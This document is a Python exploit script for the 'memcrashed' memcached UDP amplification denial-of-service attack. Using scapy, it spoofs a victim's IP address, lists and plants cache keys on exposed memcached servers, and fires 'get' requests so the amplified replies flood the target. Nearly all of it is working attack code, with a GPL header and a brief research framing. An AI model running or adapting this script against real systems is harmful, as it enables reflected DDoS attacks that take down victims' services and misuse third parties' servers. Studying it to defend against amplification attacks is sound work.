Memcached memcrashed Denial Of Service

`# Written by Alex Conrey  
#  
# This program is free software: you can redistribute it and/or modify  
# it under the terms of the GNU General Public License as published by  
# the Free Software Foundation, either version 3 of the License, or  
# (at your option) any later version.  
  
# This program is distributed in the hope that it will be useful,  
# but WITHOUT ANY WARRANTY; without even the implied warranty of  
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
# GNU General Public License for more details.  
  
# You should have received a copy of the GNU General Public License  
# along with this program. If not, see <http://www.gnu.org/licenses/>.  
#  
# This was created to better understand the memcrashed exploit   
# brought to light thanks to CloudFlare.  
# (https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/)  
#  
# Please sysadmin responsibly.  
  
import requests  
import memcache  
import re  
  
from scapy.all import *  
  
# Vulnerable memcached server list  
SERVER_LIST = [  
'172.17.0.2:11211',  
]  
  
# Destination   
TARGET = '1.2.3.4'  
  
# optional payload to set if no keys exist  
payload = requests.get('https://google.com').text  
payload_key = 'fuckit'  
  
# this forces payload to load into memory for being extra-evil and efficient  
if not payload:  
print 'Could not import payload, continuing anyway'  
  
try:  
for server in SERVER_LIST:  
if ':' in server:  
server = server.split(':')[0]  
  
ip = IP(src=TARGET, dst=server)  
packet_base = '\x00\x00\x00\x00\x00\x01\x00\x00{0}\r\n'  
  
# fetch known keys by id  
statitems_packet = packet_base.format('stats items')  
udp = UDP(sport=50000, dport=11211)/statitems_packet  
keyids = []  
resp = sr1(ip/udp)  
for key in str(resp.payload).split('\r\n'):  
# Skip first line which has hex in it (I'm lazy)  
if 'age' in key:  
key = key.split(':')[1]  
keyids.append(key)  
  
# fetch names for keys by id  
keys = []  
for kid in keyids:  
query = 'stats cachedump {0} 100'.format(kid)  
keyid_packet = packet_base.format(query)  
udp = UDP(sport=50000, dport=11211)/keyid_packet  
resp = str(sr1(ip/udp).payload).split('\r\n')  
for key in resp:  
if 'ITEM' in key:  
res = re.match(r"(.*)ITEM (?P<keyname>\w+)(.*)",key)  
keys.append(res.group('keyname'))  
  
# if keys not present on target, make one  
if not keys:  
mc = memcache.Client([server],debug=False)  
mc.set(payload_key, payload)  
keys.append(payload_key)  
  
# iterate thru known keys and blast away  
for key in keys:  
query = 'get {0}'.format(key)  
fun_packet = packet_base.format(query)  
udp = UDP(sport=50000, dport=11211)/fun_packet  
sr1(ip/udp)  
  
except Exception:  
raise  
  
`